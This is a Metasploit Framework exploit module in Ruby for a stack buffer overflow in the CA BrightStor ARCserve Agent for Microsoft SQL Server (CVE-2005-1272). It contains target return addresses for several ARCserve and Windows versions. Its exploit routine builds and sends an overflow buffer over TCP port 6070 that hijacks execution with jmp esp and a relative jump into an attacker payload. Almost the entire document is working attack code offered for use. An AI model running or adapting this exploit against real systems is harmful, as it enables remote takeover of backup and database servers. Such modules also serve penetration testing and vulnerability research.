CA BrightStor Agent for Microsoft SQL Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',  
'Description' => %q{  
This module exploits a vulnerability in the CA BrightStor  
Agent for Microsoft SQL Server. This vulnerability was  
discovered by cybertronic[at]gmx.net.  
  
},  
'Author' => [ 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-1272'],  
[ 'OSVDB', '18501' ],  
[ 'BID', '14453'],  
[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],  
[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],  
  
],  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'StackAdjustment' => -3500,  
},  
'Targets' =>   
[  
# This exploit requires a jmp esp for return  
['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp  
['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret  
['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret  
  
# Generic jmp esp's  
['Windows 2000 SP0-SP3 English', { 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp  
['Windows 2000 SP4 English', { 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp  
['Windows XP SP0-SP1 English', { 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret  
['Windows XP SP2 English', { 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret  
['Windows 2003 SP0 English', { 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret  
['Windows 2003 SP1 English', { 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret  
],  
'DisclosureDate' => 'Aug 02 2005',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(6070)  
], self.class)   
end  
  
  
  
  
def exploit  
  
print_status("Trying target #{target.name}...")  
  
# The 'one line' request does not work against Windows 2003  
1.upto(5) { |i|  
  
# Flush some memory  
connect  
begin  
sock.put("\xff" * 0x12000)  
sock.get_once  
rescue  
end  
disconnect  
  
  
# 3288 bytes max  
# 696 == good data (1228 bytes contiguous) @ 0293f5e0  
# 3168 == return address  
# 3172 == esp @ 0293ff8c (2476 from good data)  
  
buf = rand_text_english(3288, payload_badchars)  
buf[ 696, payload.encoded.length ] = payload.encoded  
buf[3168, 4] = [target.ret].pack('V') # jmp esp  
buf[3172, 5] = "\xe9\x4f\xf6\xff\xff" # jmp -2476  
  
connect  
begin  
sock.put(buf)  
sock.get_once  
rescue  
end  
handler  
disconnect  
}  
end  
  
end  
`